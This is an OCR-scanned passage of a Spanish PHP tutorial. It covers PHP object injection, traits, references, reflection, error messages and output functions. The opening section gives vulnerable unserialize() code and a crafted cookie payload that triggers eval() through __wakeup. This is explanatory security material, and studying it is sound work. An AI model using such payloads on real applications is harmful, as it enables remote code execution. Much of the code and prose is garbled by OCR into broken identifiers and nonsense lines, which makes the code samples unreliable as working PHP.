atacante realizar diferentes tipos de ataques maliciosos, como Inyección de código, Inyección de 
SQL, Trayectoria de ruta y Denegación de servicio de la aplicación, según el contexto. La 
vulnerabilidad se produce cuando la entrada suministrada por el usuario no está correctamente 
desinfectada antes de pasarla a la función PHP unserialize (). Dado que PHP permite la 


https//riptutorial.com/es/home A 


serialización de objetos, los atacantes podrían pasar cadenas serializadas ad-hoc a una llamada 
vulnerable unserialize (), lo que resultaría en una inyección arbitraria de objetos PHP en el ámbito 
de la aplicación. 


Para poder explotar con éxito una vulnerabilidad de PHP Object Injection se deben cumplir dos 


condiciones: 


+ La aplicación debe tener una clase que implemente un método mágico de PHP (como 
__wakeup O __destruct ) que se pueda usar para llevar a cabo ataques maliciosos o para 
iniciar una "cadena POP". 

* Todas las clases utilizadas durante el ataque deben declararse cuando se llama a la 


unserialize() Vulnerable, de lo contrario, el objeto debe ser compatible con estas clases. 


Ejemplo 1 - Ataque de travesía de camino 


El siguiente ejemplo muestra una clase de PHP con un método explotable _destruct : 


class Examplel 


( 


) 


púloliles Seaclis File, 


icúlacucdeoa —(comsiersuce (0) 


// some PHP code... 


function _ destruct () 


Sfile = "/var/www/cache/tmp/($this->cache_file)"; 
a (alle estes ((Sirailes)) Cumiliale (state) 7 


// some PHP code... 


Suser_data = unserialize($_GET['data']l); 


// some PHP code... 


En este ejemplo, un atacante podría eliminar un archivo arbitrario a través de un ataque de 
Travesía de ruta, por ejemplo, para solicitar la siguiente URL: 


Euep// eses econ alo ipra aa = 0 Sr ampilc la ISE CCE So A depp 


Ejemplo 2 - Código de ataque de inyección 


El siguiente ejemplo muestra una clase de PHP con un método __wakeup explotable: 


class Example2 


( 


private $hook; 


icúlaciciloja —(comesiciuicie (0) 


( 
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// some PHP code... 


function __wakeup() 


( 
if (isset($this->hook)) eval ($this->hook); 


) 


// some PHP code... 


Suser_data = unserialize($_COOKIE['data']); 


// some PHP code... 


En este ejemplo, un atacante podría realizar un ataque de inyección de código enviando una 
solicitud HTTP como esta: 


GET /vuln.php HTTP/1.0 

Host: testsite.com 

Cookie: 
data=0%3A853A%22Exampl1e2522%$3A1%53A%57Bs53A14%3A%22%500Examp1e2%500hook%22%3Bs53A10$53A%22phpinfo%28%2953BS? 


Connection: close 


Donde el parámetro de cookie "datos" ha sido generado por el siguiente script: 


class Example2 


[ 
private $hook = "phpintfo();"; 


print urlencode(serialize(new Example2)); 


Lea Publicación por entregas en línea: https://riptutorial.com/es/php/topic/2487/publicacion-por- 
entregas 
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Capítulo 83: Rasgos 


Examples 


Rasgos para facilitar la reutilización de código horizontal. 
Digamos que tenemos una interfaz para el registro: 


interface Logger ( 
function log ($message); 


) 


Ahora digamos que tenemos dos implementaciones concretas del Logger interfaz: la riletogger Y 
la Consolelogger . 


class FileLogger implements Logger ( 


public function log($message) ( 
// Append log message to some file 
) 


class ConsoleLogger implements Logger ( 
public function log($message) ( 
// Log message to the console 


) 


Ahora, si define alguna otra clase de roo que también desee poder realizar tareas de registro, 
podría hacer algo como esto: 


class Foo implements Logger ( 
private $logger; 


public function setLogger (Logger $logger) ( 


$Sthis->logger = $logger; 
) 


public function log($message) ( 
if ($this->logger) ( 
Sthis->logger->log ($message); 


Foo es ahora también un Logger , pero su funcionalidad depende del Logger la aplicación que se le 
pasa a través de settogger () . Si ahora queremos que la clase sar tenga también este mecanismo 
de registro, tendríamos que duplicar esta lógica en la clase rar . 


En lugar de duplicar el código, se puede definir un rasgo: 


trait LoggableTrait ( 
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protected $logger; 


public function setLogger (Logger $logger) ( 


Sthis->logger = $logger; 
) 


public function log($message) ( 
me (Sthals=>llogger) 1 
$this->logger->log ($message) ; 


Ahora que hemos definido la lógica en un rasgo, podemos usar el rasgo para agregar la lógica a 
las clases roo y Bar : 


class Foo ( 
use LoggableTrait; 


class issue 
use LoggableTrait; 


Y, por ejemplo, podemos usar la clase ros como esta: 


Sfoo = new Foo(); 


$Sfoo->setlLogger( new FileLogger() ); 


//note how we use the trait as a 'proxy' to call the Logger's log method on the Foo instance 


$Sfoo->log('my beautiful message'); 


La resolución de conflictos 


Tratar de usar varios rasgos en una clase podría resultar en problemas que involucren métodos 
conflictivos. Necesita resolver tales conflictos manualmente. 


Por ejemplo, vamos a crear esta jerarquía: 


trait MeowTrait ( 
public function say() ( 
print "Meow In"; 


) 


trait WoofTrait ( 
public function say() ( 
jor Moni ale 
) 


abstract class UnMuteAnimals ( 
clstrace Euncrciloa ses O) — 
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class Dog extends UnMuteAnimals ( 
use WoofTrait; 


) 


class Cat extends UnMuteAnimals ( 
use MeowTrait; 


Ahora, vamos a tratar de crear la siguiente clase: 


class TalkingParrot extends UnMuteAnimals ( 


use MeowTrait, WoofTrait; 


) 


El intérprete php devolverá un error fatal: 


Error grave : el método del rasgo dice que no se ha aplicado, porque hay colisiones 
con otros métodos del rasgo en TalkingParrot 


Para resolver este conflicto, podríamos hacer esto: 


* utilizar palabras clave insteados utilizar el método de un rasgo en lugar de método desde 


otro rasgo 


+ cree un alias para el método con una construcción COMO WoofTrait::say as sayAsDog; 


class TalkingParrotV2 extends UnMuteAnimals ( 


use MeowTrait, WoofTrait ( 


MeowTrait::say insteadof WoofTrait; 


WoofTrait::say as sayAsDog; 


) 


StalkingParrot = new TalkingParrotV2(); 
$talkingParrot->say(); 
StalkingParrot->sayAsDog/(); 


Este código producirá la siguiente salida: 


maullar 
Guau 


Uso de múltiples rasgos 


trait Hello ( 
public function sayHello() ( 
echo 'Hello '; 


) 


trait World ( 
public function sayWorld() ( 
echo 'World'; 
) 
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class MyHelloWorld ( 
use Hello, World; 
public function sayExclamationMark () ( 


ecu 
) 
) 


So = new MyHelloWorld(); 
So->sayHello (); 
So->sayWorld (); 
So->sayExclamationMark (); 


El ejemplo anterior dará como resultado: 


Hello World! 


Modificación de la visibilidad del método 


trait HelloWorld ( 
public function sayHello() ( 
echo 'Hello World!'; 
) 
) 


// Change visibility of sayHello 
class MyClassl ( 

use HelloWorld (í sayHello as protected; ) 
) 


// Alias method with changed visibility 
// sayHello visibility not changed 
class MyClass2 ( 
use HelloWorld ([ sayHello as private myPrivateHello; ) 


) 
Ejecutando este ejemplo: 


(new MyClassl ())->sayHello(); 
// Fatal error: Uncaught Error: Call to protected method MyClass1l::sayHello() 


(new MyClass2())->myPrivateHello(); 
// Fatal error: Uncaught Error: Call to private method MyClass2::myPrivateHello() 


(new MyClass2())->sayHello(); 
// Hello World! 


Entonces, tenga en cuenta que en el último ejemplo en myc1ass2 el método sin alias original de la 
trait HelloWorl1a permanece accesible tal como está. 


¿Qué es un rasgo? 


PHP solo permite herencia individual. En otras palabras, una clase solo puede extena otra clase. 
Pero, ¿qué sucede si necesita incluir algo que no pertenece a la clase principal? Antes de PHP 
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5.4, tendría que ser creativo, pero en 5.4 se introdujeron rasgos. Los rasgos te permiten 
básicamente "copiar y pegar" una parte de una clase en tu clase principal 


escala Heus 
Js ger siciaas y 
public $phrase = 'Well Wilbur...'; 
public function speak() ( 
echo $this->phrase; 
) 
) 


class MrEd extends Horse ( 
use Talk; 
¡aulas Eu cicloOaR — Comsicaue 0) 
Sthis->speak(); 
) 


public function setPhrase($phrase) ( 
Sthis->phrase = $phrase; 
) 


Así que aquí tenemos a mrea , que ya está extendiendo Horse . Pero no todos los caballos ra1x , 
así que tenemos un rasgo para eso. Notemos lo que esto está haciendo 


En primer lugar, definimos nuestro rasgo. Podemos usarlo con la carga automática y los espacios 
de nombres (consulte también Cómo hacer referencia a una clase o función en un espacio de 
nombres ). Luego lo incluimos en nuestra clase mrea con el use palabras clave. 


Notará que urea utiliza las funciones y variables de ra1x sin definirlas. ¿Recuerdas lo que dijimos 
sobre copiar y pegar ? Estas funciones y variables están todas definidas dentro de la clase 
ahora, como si esta clase las hubiera definido. 


Los rasgos están más estrechamente relacionados con las clases abstractas, ya que puede 
definir variables y funciones. Tampoco puede crear una instancia de un rasgo directamente (es 
decir, UN new Trait () ). Los rasgos no pueden obligar a una clase a definir implícitamente una 
función como una clase abstracta o una interfaz puede. Los rasgos son solo para definiciones 
explícitas (ya que puede implement tantas Interfaces como desee, consulte Interfaces ). 


¿Cuándo debo usar un rasgo? 


Lo primero que debe hacer, al considerar un Rasgo, es hacerse esta pregunta importante 
¿Puedo evitar usar un Rasgo reestructurando mi código? 


La mayoría de las veces, la respuesta será Sí. Los rasgos son casos de borde causados por 
herencia única. La tentación de mal uso o uso excesivo de los rasgos puede ser alta. Pero tenga 
en cuenta que un Rasgo introduce otra fuente para su código, lo que significa que hay otra capa 
de complejidad. En el ejemplo aquí, solo estamos tratando con 3 clases. Pero Rasgos significa 
que ahora puedes lidiar con mucho más que eso. Para cada Rasgo, su clase se vuelve mucho 
más difícil de tratar, ya que ahora debe consultar cada Rasgo para averiguar qué define (y 
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potencialmente dónde ocurrió una colisión, vea Resolución de conflictos ). Idealmente, debes 


mantener la menor cantidad posible de Rasgos en tu código. 
Rasgos para mantener las clases limpias 


Con el tiempo, nuestras clases pueden implementar más y más interfaces. Cuando estas 


interfaces tienen muchos métodos, el número total de métodos en nuestra clase será muy grande. 


Por ejemplo, supongamos que tenemos dos interfaces y una clase que las implementa: 


interface Printable ( 
¡amos Eumetlon prima (0) y 
//other interface methods... 


) 


interface Cacheable ( 
//interface methods 


) 


class Article implements Cachable, Printable ( 
//here we must implement all the interface methods 


pmolils Fueron ¡orita 0) e A 
*Hcode to print phase article / 


) 


En lugar de implementar todos los métodos de interfaz dentro de la clase de articie , podríamos 
usar Rasgos separados para implementar estas interfaces, manteniendo la clase más pequeña 


y separando el código de la implementación de la interfaz de la clase. 


A partir del ejemplo, para implementar la interfaz de Printable , podríamos crear este rasgo: 


trait PrintableArticle ( 
//implements here the interface methods 
aúusglils Emaciclon jara (0) A 
Ss code to jolie es cutelele */ 


) 


y hacer que la clase use el rasgo: 


class Article implements Cachable, Printable ( 
use PrintableArticle; 
use CacheableArticle; 


Los beneficios principales serían que nuestros métodos de implementación de la interfaz se 
separarán del resto de la clase y se almacenarán en un rasgo que tiene la responsabilidad 
exclusiva de implementar la interfaz para ese tipo de objeto en particular. 


Implementando un Singleton usando Rasgos 
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Descargo de responsabilidad : de ninguna manera este ejemplo aboga por el uso de singletons. 
Los Singletons se deben usar con mucho cuidado. 


En PHP hay una forma bastante estándar de implementar un singleton: 


public class Singleton ( 
private $instance; 


private function __construct() Í ); 
public function getInstance() ( 
1f (!self::$instance) ( 
// new self() is 'basically' equivalent to new Singleton() 
self::$instance = new self (); 


) 


return self: :Sinstance; 


) 


// Prevent cloning of the instance 
protected function __clone() ([ ) 


// Prevent serialization of the instance 
protected function __sleep() Í[ ) 


// Prevent deserialization of the instance 


protected function _ wakeupí() ([ ) 


Para evitar la duplicación de código, es una buena idea extraer este comportamiento en un rasgo. 


trait SingletonTrait ( 
private $instance; 


protected function _ construct() 1 ); 


public function getInstance() ( 
ls (sciles 3 Siascance) 
// new self () will refer to the class that uses the trait 
self::Sfinstance = new self (); 


) 


return self: :Sinstance; 


protected function __clone() [ ) 
protected function __sleep() Í[ ) 
protected function _ wakeup(í() ([ ) 


Ahora, cualquier clase que quiera funcionar como un singleton puede simplemente usar el rasgo: 


class MyClass ( 
use SingletonTrait; 


) 


// Error! Constructor is not publicly accessible 
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$myCl 


$myCl 


ABRES 
$myC] 


ass = new MyClas 


=S (07 


ass = MyClass::getInstance(); 


11 calls below will fail due to method visibility 


lassCopy = clone 


$serializedMyClass = 


$myC] 


lass = deserializ 


$myClass; // 


Error! 


serialize($myClass); // 


($serializedi 


yclass); 


// 


ESO 


ico el 


Aunque ahora es imposible serializar un singleton, también es útil no permitir el método de 


deser 


ialización. 


Lea Rasgos en línea: https://riptutorial.com/es/php/topic/999/rasgos 
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Capítulo 84: Recetas 


Introducción 


Este tema es una colección de soluciones para tareas comunes en PHP. Los ejemplos 
proporcionados aquí le ayudarán a superar un problema específico. Ya deberías estar 
familiarizado con los conceptos básicos de PHP. 


Examples 
Crear un contador de visitas al sitio 


<?php 
visite = Ip 


1£ (fille exists("counter.txt")) 


( 


Sfp = asen (coles. ear, Mis 
$visit = fread($fp, 4); 
Swisale = Swiisiie <. ip 

) 

So = oa (couiecismar) Ao 


fwrite($fp, $visit); 
eclao "rara Sirve Wisless Y. Swiss? 
fclose ($Sfp); 


Lea Recetas en línea: https://riptutorial.com/es/php/topic/8220/recetas 
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Capítulo 85: Recopilación de errores y 
advertencias. 


Examples 

Aviso: índice indefinido 

Apariencia: 

Intentar acceder a una matriz mediante una clave que no existe en la matriz 
Solución posible : 


Compruebe la disponibilidad antes de acceder a ella. Utilizar: 


1. isset() 


2. array_key_exists() 


Advertencia: no se puede modificar la información del encabezado - los 
encabezados ya enviados 


Apariencia: 


Ocurre cuando su secuencia de comandos intenta enviar un encabezado HTTP al cliente, pero ya 
hubo salida antes, lo que dio lugar a que los encabezados ya se enviaran al cliente. 


Posibles causas : 


1. Imprimir, eco: el resultado de las declaraciones de impresión y eco terminará la oportunidad 
de enviar encabezados HTTP. El flujo de aplicación debe ser reestructurado para evitar eso. 


2. Áreas HTML sin procesar: las secciones HTML sin analizar en un archivo .php también son 
de salida directa. Las condiciones de script que activarán una llamada de reader () deben 
anotarse antes de cualquier bloque sin formato. 


<!DOCTYPE html> 
<?php 
// Too late for headers already. 


3. Espacio en blanco antes de <>?pnp para las advertencias de "script.php línea 1": si la 
advertencia se refiere a la salida en la línea 1, en su mayoría es espacio en blanco, texto o 
HTML antes de la apertura del token <?php . 


<?php 
$ There's a SINGLE space/newline before <? Which already seals it. 
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Referencia de SO respuesta por Mario 
Error de análisis: error de sintaxis, T_PAAMAYIM_NEKUDOTAYIM inesperado 


Apariencia: 


"Paamayim Nekudotayim" significa "doble colon" en hebreo; por lo tanto, este error se refiere al 
uso inapropiado del operador de dos puntos ( :: . El error suele deberse a un intento de llamar a 
un método estático que, de hecho, no es estático. 


Solución posible: 


Sclassname: :doMethod (); 


Si el código anterior causa este error, lo más probable es que necesite simplemente cambiar la 
forma en que llama al método: 


Sclassname->doMethod (); 


El último ejemplo asume que selassname es Una instancia de una clase, y el domethoa () NO es UN 
método estático de esa clase. 


Lea Recopilación de errores y advertencias. en línea: 
https://riptutorial.com/es/php/topic/3509/recopilacion-de-errores-y-advertencias- 
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Capítulo 36: Referencias 


Sintaxis 
e $foo = 1; $bar = á$foo; // both $foo and $bar point to the same value: 1 
e Svar = 1; function calc(8$$var) [í $var *= 15; ) calc($var); echo $var; 
Observaciones 


Al asignar dos variables por referencia, ambas variables apuntan al mismo valor. Tomemos el 
siguiente ejemplo: 


sioo = lp 
Slocia = ESDOOD— 


$foo NO apunta a sobar . $foo Y $bar apuntan al mismo valor de s£oo , que es 1 . Para ilustrar: 


Soc = ESlDauen 
unset ($bar); 
Sbaz++; 


Si tuviéramos points to relación, esto se rompería ahora después de unset () ; en cambio, $too y 
sbaz Siguen apuntando al mismo valor, que es 2 . 


Examples 


Asignar por referencia 


Esta es la primera fase de referencia. Esencialmente, cuando asigna por referencia , está 
permitiendo que dos variables compartan el mismo valor como tal. 


$Sfoo = ¿S$bar; 


$foo Y $bar SON iguales aquí. No se apuntan el uno al otro. Señalan al mismo lugar ( el "valor”). 


También puede asignar por referencia dentro de la construcción del lenguaje array) . Si bien no 
es estrictamente una asignación por referencia. 


stos = "mlUs 
Sbar = array (1, 2); 
Sarray = array (8£$foo, €S$bar[0]); 


Tenga en cuenta , sin embargo, que las referencias dentro de matrices son 


potencialmente peligrosas. Hacer una asignación normal (no por referencia) con una 
referencia en el lado derecho no convierte el lado izquierdo en una referencia, pero las 
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referencias dentro de las matrices se conservan en estas asignaciones normales. Esto 
también se aplica a las llamadas de función donde la matriz se pasa por valor. 


La asignación por referencia no solo se limita a las variables y matrices, sino que también están 
presentes para las funciones y todas las asociaciones "paso por referencia". 


function incrementArray(8$$arr) ( 
foreach ($farr as £S$val) ( 
S$val++; 


function £getArray() ( 
Steamals Sere = lo. 2, Slp 
Eicus Seusip 


incrementArray (getArray ()); 
year o a O] Y jocs cla eusieeay (2) 3, Ul 


La asignación es clave dentro de la definición de la función anterior. No puede pasar una 
expresión por referencia, solo un valor / variable. De ahí la instanciación de sa en la bar () . 


Devolución por referencia 


Ocasionalmente, llega un momento para que usted pueda regresar implícitamente por referencia. 


Devolver por referencia es útil cuando desea utilizar una función para encontrar a qué 
variable debe enlazarse una referencia. No utilice el retorno por referencia para 
aumentar el rendimiento. El motor automáticamente optimizará esto por su cuenta. 
Solo devuelva las referencias cuando tenga una razón técnica válida para hacerlo. 


Tomado de la documentación de PHP para devolver por referencia . 


Hay muchas formas diferentes que puede tomar devolver por referencia, incluido el siguiente 
ejemplo: 


function parent (8$$var) ( 
echo $var; 
$Svar = "updated"; 


function $child() ( 
static $f'a = "test"; 
return $a; 


parent (child()); // returns "test" 
parentilichtla (a // returns tupdateal" 


La devolución por referencia no solo se limita a las referencias de funciones. También tiene la 
capacidad de llamar implícitamente a la función: 
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function £myFunction() ( 
staris Sa = "oo" 
return S$a; 


Sbar = £myFunction(); 
Sbar = "updated" 
echo myFunction(); 


No puede hacer referencia directamente a una llamada de función, debe asignarse a una variable 
antes de utilizarla. Para ver cómo funciona, simplemente intente echo amyFunction(); . 


Notas 


+ Es necesario que especifique una referencia ( « ) en los dos lugares en los que pretende 
usarla. Eso significa, para su definición de función ( function smyFunction() (... ) y en la 
referencia de llamada ( function callFunction(sS$variable) ([(... O ¿myFunction (); ). 

+ Solo puedes devolver una variable por referencia. De ahí la instanciación de sa en el 
ejemplo anterior. Esto significa que no puede devolver una expresión, de lo contrario se 
generará un error PHP E_NOTICE ( Notice: Only variable references should be returned by 
reference in ...... Ja 

+ El retorno por referencia tiene casos de uso legítimos, pero debo advertir que deben usarse 
con moderación, solo después de explorar todas las demás opciones posibles para lograr el 
mismo objetivo. 


Pasar por referencia 


Esto le permite pasar una variable por referencia a una función o elemento que le permite 
modificar la variable original. 


El paso por referencia no se limita solo a las variables, lo siguiente también se puede pasar por 
referencia: 


+ Nuevas declaraciones, por ejemplo, roo (new SomeClass) 
» Referencias devueltas desde funciones 


Arrays 


Un uso común de "pasar por referencia" es modificar los valores iniciales dentro de una matriz sin 
llegar al extremo de crear nuevas matrices o ensuciar su espacio de nombres. El paso por 
referencia es tan simple como precediendo / prefijando la variable con un « => ¿s$myElement . 


A continuación se muestra un ejemplo de cómo aprovechar un elemento de una matriz y 
simplemente agregar 1 a su valor inicial. 
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Ses = amrey ll, 2, Sy de D)7 


foreach($arr as s£$num) ( 
Snum++; 


) 


Ahora, cuando aproveche cualquier elemento dentro de sar» , el elemento original se actualizará a 
medida que se incrementa la referencia. Puedes verificar esto por: 


¡caia se ((Sezra) y 


Nota 


Debe tomar nota al utilizar el pase por referencia dentro de los bucles. Al final del 
bucle anterior, $num todavía contiene una referencia al último elemento de la matriz. 
¡Asignarlo a un bucle posterior terminará manipulando el último elemento de la matriz! 
Puede asegurarse de que esto no suceda unse: () después del bucle: 


SmyAarray => array (1, 2 3. 1, 0); 


foreach ($myArray as £$num) ( 
Snum++; 


) 


unset ($num) ; 


Lo anterior asegurará que no se encuentre con ningún problema. Un ejemplo de los 
problemas que podrían relacionarse con esto está presente en esta pregunta en 
StackOverflow . 


Funciones 


Otro uso común para pasar por referencia es dentro de las funciones. Modificar la variable original 
es tan simple como: 


Sveie = By 

// define 

function add (S$var) 1 
Svar++; 

) 

DN cani 

add ($var); 


Lo cual se puede verificar haciendo echo de la variable original. 
echo $var; 


Existen varias restricciones en cuanto a las funciones, como se indica a continuación en la 
documentación de PHP: 
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Nota: No hay ningún signo de referencia en una llamada de función, solo en las 
definiciones de función. Las definiciones de funciones solas son suficientes para pasar 
correctamente el argumento por referencia. A partir de PHP 5.3.0, recibirá una 
advertencia que dice que el "paso por referencia en tiempo de llamada" está en 
desuso cuando usa € in foo (8 $ a) ;. Y a partir de PHP 5.4.0, se eliminó el paso por 
referencia del tiempo de llamada, por lo que su uso generará un error fatal. 


Lea Referencias en línea: https://riptutorial.com/es/php/topic/3468/referencias 
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Capítulo 87: Reflexión 


Examples 


Acceso a variables de miembros privados y protegidos. 


La reflexión se utiliza a menudo como parte de las pruebas de software, como para la creación / 
creación de instancias de objetos simulados en tiempo de ejecución. También es ideal para 
inspeccionar el estado de un objeto en un momento dado. Este es un ejemplo del uso de 
Reflexión en una prueba unitaria para verificar que un miembro de clase protegido contenga el 
valor esperado. 


A continuación se muestra una clase muy básica para un coche. Tiene una variable miembro 
protegida que contendrá el valor que representa el color del automóvil. Debido a que la variable 
miembro está protegida, no podemos acceder a ella directamente y debemos usar un método de 
obtención y configuración para recuperar y establecer su valor respectivamente. 


class Car 
[ 
protected $color 


public funetion setColor (Scolor) 


Sthiis=>color = $color; 


public function getColor ($color) 


return $this->color; 


Para probar esto, muchos desarrolladores crearán un objeto Car, establecerán el color del auto 
usando car: :setColor () , recuperarán el color usando car: :getcolor () y Compararán ese valor con 
el color que establecieron: 


pk 
* (test 
* ficovers XCar: :setColor 
e) 
public function testSetColor () 
1 


Scolor = "Red 


Socws = men Wesia(0)— 
Scar->setColor ($color); 
$getColor = $car->getColor (); 


Sthis->assertEquals($color, $reflectionColor); 


https://riptutorial.com/es/nome 460 


En la superficie esto parece estar bien. Después de todo, todo lo que hace car: :getColor () eS 
devolver el valor de la variable miembro protegida car: :$co1or . Pero esta prueba es defectuosa 
de dos maneras: 


1. Ejercita car: :getcolor () que está fuera del alcance de esta prueba. 
2. Depende de car: :getcolor () que puede tener un error que puede hacer que la prueba tenga 
un falso positivo o negativo 


Veamos por qué no deberíamos usar car: :yetColor () en nuestra prueba de unidad y deberíamos 
usar Reflection en su lugar. Digamos que a un desarrollador se le asigna una tarea para agregar 
"Metallic" a cada color de automóvil. Así que intentan modificar el car: :getcolor () para anteponer 
"Metallic" al color del auto: 


class Car 
[ 
protected $color 


public funetion setColor (Scollor) 


Sthiis=>color = $color; 


public function getColor ($color) 


secu Mercedes Ye Suals=>c0 op 


¿Ves el error? El desarrollador usó un punto y coma en lugar del operador de concatenación en 
un intento de agregar "Metallic" al color del auto. Como resultado, siempre que se car: :getColor () 

, se devolverá "Metallic" independientemente del color real del auto. Como resultado, nuestra 
prueba de la unidad car: :setcolor () fallará a pesar de que car: : setcolor () funciona perfectamente 
bien y no se vio afectado por este cambio . 


Entonces, ¿cómo verificamos que car: :$c01or contiene el valor que estamos configurando a 
través de car: :setcolor () ? Podemos usar la Refelección para inspeccionar la variable miembro 
protegida directamente. Entonces, ¿cómo hacemos eso ? Podemos usar la Refelección para 
hacer que la variable miembro protegida sea accesible a nuestro código para que pueda 
recuperar el valor. 


Veamos primero el código y luego lo desglosamos: 


pk 
* fMtest 
* (covers XCar: :setColor 
3 
public function testSetColor () 
1 


Scolor = 'Red'; 


$car = new Car (); 
Scar->setColor ($color); 


https://riptutorial.com/es/nome 461 


Sreflection0fCar = 
SprotectedColor = 
SprotectedColor->setAccessibl 


new MReflectionObject ($car); 
Sreflection0fForm->getProperty('color'); 


E 


y; 


$reflectionColor = $protectedColor->getValu 


Sthis->assertEquals ($color, 


(Scar); 


Sreerlecrlomco lor) 


Aquí es cómo estamos utilizando Reflection para obtener el valor de car: : $co1ox en el código 


anterior: 


1. Creamos un nuevo ReflectionObject que representa nuestro objeto Car. 
2. Obtenemos una propiedad ReflectionProperty for car: :$color (esto "representa" la variable 


Car: :$color ) 


3. Hacemos car: :$color accesible 


4. Obtenemos el valor de car: :$color 


Como puede ver al usar Reflection, podemos obtener el valor de car: :$c01or sin tener que llamar 
a Car: :getColor () O Cualquier otra función de acceso que pueda causar resultados de prueba no 
válidos. Ahora nuestra prueba de unidad para car: :setcolor () es segura y precisa. 


Detección de características de clases u objetos. 


La detección de características de clases se puede realizar en parte con las funciones 


property_exists Y method_exists . 


class MyClass ( 
¡vlollaio Siowilg lle iestellel, 
protected $protected_field; 
private $private_field; 
state o sivatl celia 
const CONSTANT = 0; 
pulolie Eumetlon joulollio Eumetilom (() 


dy 


protected function protected _function() 1) 


private function private_function() () 


Suelo Einicio sireicao. necio (0) 


(7 


// check properties 

Scheck = property_exists('MyClass', 'public_field'); // true 
Scheck = property_exists('MyClass', 'protected_field'); // true 
Scheck = property_exists('MyClass', 'private_field'); IN de, Es or Bi? 5,3,0 
Scheck= propereylexists (UMyClasis star caiteclan // true 
Scheck = property_exists('MyClass', 'other_field'); // false 

// check methods 

$check = method_exists('MyClass', 'public _function'); // true 
Scheck = method_exists('MyClass', 'protected_function'); // true 
S$check = method_exists('MyClass', 'private_function'); Va 
Scheck = method_exists('MyClass', 'static_function'); // true 

// however... 

$check = property_exists('MyClass', 'CONSTANT'); // false 

Scheck = property _exists ($object, 'CONSTANT'); // false 
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Con una reflectionClass , también se pueden detectar constantes: 


Sr = new ReflectionClass('MyClass'); 


S$check = $r->hasProperty ('public_field'); // true 
Scheck = $r->hasMethod('public_function'); // true 
$check = $r->hasConstant ('CONSTANT'); A ca 


// also works for protected, private and/or static members. 


Nota: para property_exists Y method_exists , también se puede proporcionar un objeto de la clase 
de interés en lugar del nombre de la clase. Usando la reflexión, la clase resr1ectionobject debe 
usarse en lugar de reflectionClass . 


Prueba de métodos privados / protegidos 
A veces es útil probar métodos privados y protegidos, así como métodos públicos. 


class Car 
( 
pk 
* (param mixed S$argument 
* 
* (return mixed 
57 
protected function drive ($argument) 
( 
return Sargument; 


) 


J** 

* (return bool 

es) 
private static function stop() 
[ 


return true; 


La forma más fácil de probar el método de manejo es usando la reflexión 


class DriveTest 
1 
¡xk 
“ Utest 
E 
public function testDrive() 
1 
// prepare 
Sargument = 1; 
Sexpected = Sargument; 
Scar = new ICar(); 


Sreflection = new ReflectionClass (Car: :class); 
$method = $reflection->getMethod ('drive'); 
Smethod->setAccessible (true); 


// invoke logic 
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$result = $method->invokeArgs ($car, [$argument]); 


// test 
Sthis->assertEquals ($expected, S$result); 


Si el método es estático, se pasa nulo en lugar de la instancia de clase. 


class StopTest 
( 
pk 
* (test 
5) 
public function testStop() 
( 
// prepare 
Sexpected = true; 


Sreflection = new ReflectionClass(MCar::class); 
$method = $reflection->getMethod('stop'); 
Smethod->setAccessible (true); 


// invoke logic 


$result = $method->invoke (null); 
Il ESE 
Sthis->assertEquals (S$expected, S$result); 


Lea Reflexión en línea: https://riptutorial.com/es/php/topic/685/reflexion 
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Capítulo 38: Salida del valor de una variable 


Introducción 


Para construir un programa PHP dinámico e interactivo, es útil generar variables y sus valores. El 
lenguaje PHP permite múltiples métodos de salida de valor. Este tema cubre los métodos 
estándar de impresión de un valor en PHP y dónde se pueden usar estos métodos. 


Observaciones 


Las variables en PHP vienen en una variedad de tipos. Dependiendo del caso de uso, es posible 
que desee enviarlos al navegador como HTML renderizado, generarlos para la depuración o 
enviarlos al terminal (si ejecuta una aplicación a través de la línea de comandos). 


A continuación se muestran algunos de los métodos y construcciones de lenguaje más utilizados 
para generar variables: 


* echo - Da salida a una o más cadenas 

* print : genera una cadena y devuelve 1 (siempre) 

* prints : genera una cadena formateada y devuelve la longitud de la cadena generada 

* sprintf - Formatea una cadena y devuelve la cadena formateada 

* print _r - Produce o devuelve el contenido del argumento como una cadena legible para el 
ser humano 

* var dump ] var_dump Información de depuración legible para el ser humano sobre el contenido 
de los argumentos, incluido su tipo y valor 

* var export ivar export O devuelve una representación de cadena de la variable como código 
PHP válido, que se puede usar para recrear el valor. 


Nota: Cuando se intenta generar un objeto como una cadena, PHP intentará 
convertirlo en una cadena (llamando a _+ostring:) - si el objeto tiene tal método). Si 
no está disponible, un error similar a Object of class [CLASS] could not be converted to 
string . En este caso, tendrá que inspeccionar el objeto más a fondo, consulte: salida- 
una-vista-estructurada-de-arreglos-y-objetos . 


Examples 


hacer eco e imprimir 


echo € print SON construcciones de lenguaje, no funciones. Esto significa que no requieren 
paréntesis alrededor del argumento como lo hace una función (aunque uno siempre puede 
agregar paréntesis alrededor de casi cualquier expresión PHP y, por lo tanto, echo ("test") 
tampoco hará ningún daño). Producen la representación de cadena de una variable, constante o 
expresión. No se pueden utilizar para imprimir matrices u objetos. 


+ Asigna la cadena Joel a la variable sname 
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Sname = "Joel" 


» Muestra el valor de $ name usando echo € print 


echo $name; > Joel 
print $name; +*> Joel 


+ Los paréntesis no son necesarios, pero pueden ser utilizados 


echo ($name) ; $> Joel 
print ($name); *+> Joel 


* Usando múltiples parámetros (Solo echo ) 


echo $name, "Smith"; > JoelSmith 
ccmo(enscme, Y Y, "Siaidal)o > Jesl Smuleln 


* print, adiferencia de echo , es una expresión (devuelve 1 ), y por lo tanto puede usarse en 
más lugares: 


print ("hey") ££8 print(" ") ££ print ("you"); *+> youll 
+ Lo anterior es equivalente a: 


prliae (Miey" E (ria (Y Y E pelar "“yoa")))p > Yom 


Notación abreviada de .... 


Cuando está fuera de las etiguetas PHP , una notación abreviada de ecno está disponible de 
forma predeterminada, utilizando <>=- Para comenzar la salida y >> Para finalizarla. Por ejemplo: 


<p><?=$variable?></p> 
<p><?= "This is also PHP" ?></p> 


Tenga en cuenta que no hay terminación ; . Esto funciona porque la etiqueta PHP de cierre actúa 


como el terminador de la declaración única. Por lo tanto, es convencional omitir el punto y coma 
en esta notación abreviada. 


Prioridad de ..... 


Si bien la print es lenguaje de construcción tiene prioridad como operador. Se ubica entre = += -= 
*= **= /= .= %= í= and Operadores y ha dejado asociación. Ejemplo: 


cacao YY , prime “21 + Se //cuieome 51 
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Mismo ejemplo con paréntesis: 


cdo "LY . prima (121 + Se ¿(ome Si 


Diferencias entre .... € »»... 


En resumen, hay dos diferencias principales: 


* print Solo toma un parámetro, mientras que el echo puede tener múltiples parámetros. 
* print devuelve un valor, por lo que se puede utilizar como una expresión. 


Salida de una vista estructurada de arrays y objetos 


